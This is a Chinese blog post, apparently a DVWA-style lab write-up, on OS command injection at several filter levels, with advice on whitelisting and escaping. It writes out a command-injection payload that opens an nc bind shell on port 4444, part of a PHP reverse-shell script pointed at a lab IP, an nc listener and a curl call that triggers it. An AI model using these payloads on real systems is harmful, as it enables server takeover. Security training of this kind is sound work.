web 渗透 --- 命令执行漏洞

low级别:

未进行任何过滤,可以用 ;、|、&、&&

 
 

源代码如下:

 

 

medium级别:

设置了黑名单,可以使用 |、&

 

high级别

同样设置了黑名单,但由于过滤不严谨,仍可以使用  |

 

 

impossible级别:

判断你的IP地址的格式,将输入的内容以点为分隔符,进行判断且必须为数字

 

 

总结:

调用系统命令,本身就是非常危险的动作,开发过程中应尽量避免,实在无法避免,应该进行严格过滤,白名单要比黑名单好点。尽量使用静态,例如需要测试网络连通性,应内置一个ip地址,而不是让用户自行输入。

《web应用安全指南》page 206

  1. 避免使用内部调用shell函数
  2. 使用内部调用shell函数时,避免由外界传入参数
  3. 将参数传递给OS命令之前使用安全的函数进行转义

 

 

应用实例:

1、利用命令执行漏洞,打开服务器4444端口

;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

2、使用nc进行连接

 

思考:

1、kali生成反弹shell

root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/1.php

root@kali:~# vim /var/www/html/1.php 

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.71.131';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

2、kali 打开侦听端口

root@kali:~# nc -nvlp 1234
listening on [any] 1234 ...

3、利用命令执行漏洞

4、结果

为什么反弹的是kali的shell?

;curl http://192.168.71.131/1.php 这条命令实际是在 kali(192.168.71.131)机器上执行了,所以反弹的是自身的shell。

注意PHP文件在哪台机器上,其中的代码就会在哪台机器上执行。

利用这个特性,可以实现一个初级的隐蔽的方法(web层面)

 

 

 

 

 

 

 

猜你喜欢

转载自blog.csdn.net/qq389674856/article/details/82632403